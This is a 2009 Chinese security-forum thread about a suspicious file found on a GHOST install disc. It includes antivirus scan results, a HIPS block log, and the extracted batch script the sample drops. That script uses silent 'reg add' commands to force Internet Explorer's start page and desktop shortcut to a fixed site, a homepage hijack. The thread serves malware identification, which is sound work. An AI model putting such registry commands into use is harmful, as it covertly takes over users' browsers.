GHOST 裝機盤的一個

英仔

a-squared	4.5.0.1	20090607195527	2009-06-07	HackTool.Win32.Jakuz!IK	2.045
AntiVir	8.2.0.187	7.1.4.84	2009-06-11	-	0.461
Arcavir	2009	200906110609	2009-06-11	-	0.716
Authentium	5.1.1	200906100111	2009-06-10	W32/Dropper.EUQ (Exact)	1.114
AVAST!	4.7.4	090610-0	2009-06-10	-	0.011
AVG	8.5.286	270.12.63/2169	2009-06-11	-	3.674
BitDefender	7.81008.3347797	7.25921	2009-06-11	-	3.109
CA (VET)	9.0.0.143	31.6.6553	2009-06-11	Win32/Sipay.AB trojan.	3.438
ClamAV	0.95.1	9454	2009-06-11	Trojan.Agent-98414	0.012
Comodo	3.9	1314	2009-06-11	TrojWare.Win32.Trojan.Agent.~AABR	0.743
CP Secure	1.1.0.715	2009.06.11	2009-06-11	-	10.068
Dr.Web	4.44.0.9170	2009.06.11	2009-06-11	-	4.710
F-Prot	4.4.4.56	20090609	2009-06-09	W32/Dropper.EUQ (exact)	1.152
F-Secure	5.51.6100	2009.06.11.12	2009-06-11	-	0.248
GData	19.5763/19.360	20090611	2009-06-11	-	5.027
Ikarus	T3.1.01.59	2009.06.11.72850	2009-06-11	HackTool.Win32.Jakuz	3.319
Microsoft	1.4701	2009.06.11	2009-06-11	-	4.632
mks_vir	2.01	2009.06.10	2009-06-10	-	3.219
Norman	6.01.09	6.01.00	2009-06-10	-	4.007
nProtect	20090611.01	4233772	2009-06-11	-	5.821
Quick Heal	10.00	2009.06.11	2009-06-11	-	1.215
Sophos	2.87.1	4.42	2009-06-11	-	2.442
Sunbelt	5180	5180	2009-06-10	-	1.014
The Hacker	6.3.4.3	v00343	2009-06-10	-	0.721
VBA32	3.12.10.7	20090610.1435	2009-06-10	-	1.955
ViRobot	20090611	2009.06.11	2009-06-11	-	0.424
VirusBuster	4.5.11.10	10.107.10/1609255	2009-06-11	-	2.123
卡巴斯基	5.5.10	2009.06.11	2009-06-11	-	0.146
安博士V3	2009.06.11.02	2009.06.11	2009-06-11	VBS/Downloader.57856	0.930
安天	2.0.18	20090611.2526505	2009-06-11	-	0.121
江民杀毒	11.0.706	2009.06.11	2009-06-11	-	2.849
熊猫卫士	9.05.01	2009.06.10	2009-06-10	-	2.109
瑞星	20.0	21.33.32.00	2009-06-11	-	1.333
赛门铁克	1.3.0.24	20090610.002	2009-06-10	-	0.123
趋势科技	8.700-1004	6.190.02	2009-06-11	TROJ_DLOADER.OZ	0.055
迈克菲	5.3.00	5642	2009-06-10	-	3.120
金山毒霸	2009.2.5.15	2009.6.11.18	2009-06-11	-	0.597
飞塔	2.81-3.117	10.487	2009-06-11	W32/Agent.EUQ!tr	0.286

是毒嗎?
在GHOST 裝機盤裏

[ 本帖最后由 英仔 于 2009-6-11 23:32 编辑 ]

dreams521

mpav miss

[ 本帖最后由 dreams521 于 2009-6-11 23:34 编辑 ]

sam.to

Sample please

英仔

忘了上傳，哈哈

xyao

修改主页
@rem ----- ExeScript Options Begin -----
@rem ScriptType: console,silent
@rem DestDirectory: temp
@rem Icon: D:\Program Files\ExeScript\regedit.ico
@rem OutputFile: C:\Documents and Settings\Administrator\桌面\regedit.exe
@rem ----- ExeScript Options End -----
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d www.5599.net/?15 /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d www.5599.net/?15 /f
reg add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /ve /t reg_sz /d "C:\Program Files\Internet Explorer\iexplore.exe www.5599.net/?15" /f

英仔

樓上的是用什麼工具看的

左手

2009-06-11 23:45:29    创建文件      操作:阻止并结束进程
进程路径:E:\virus\regedit32.exe
文件路径:C:\Documents and Settings\cc\Local Settings\Temp\1.bat
触发规则:所有程序规则->FD:01…系统文件组->%SystemDrive%\*.bat


2009-06-11 23:45:29    创建文件      操作:阻止并结束进程
进程路径:E:\virus\regedit32.exe
文件路径:C:\Documents and Settings\ cc\Local Settings\Temp\1.bat
触发规则:所有程序规则->FD:01…系统文件组->%SystemDrive%\*.bat

xyao

原帖由 英仔 于 2009-6-11 23:41 发表
樓上的是用什麼工具看的

运行后生成的BAT文件里的内容

英仔

喔 謝了、

yulhun

miss  nod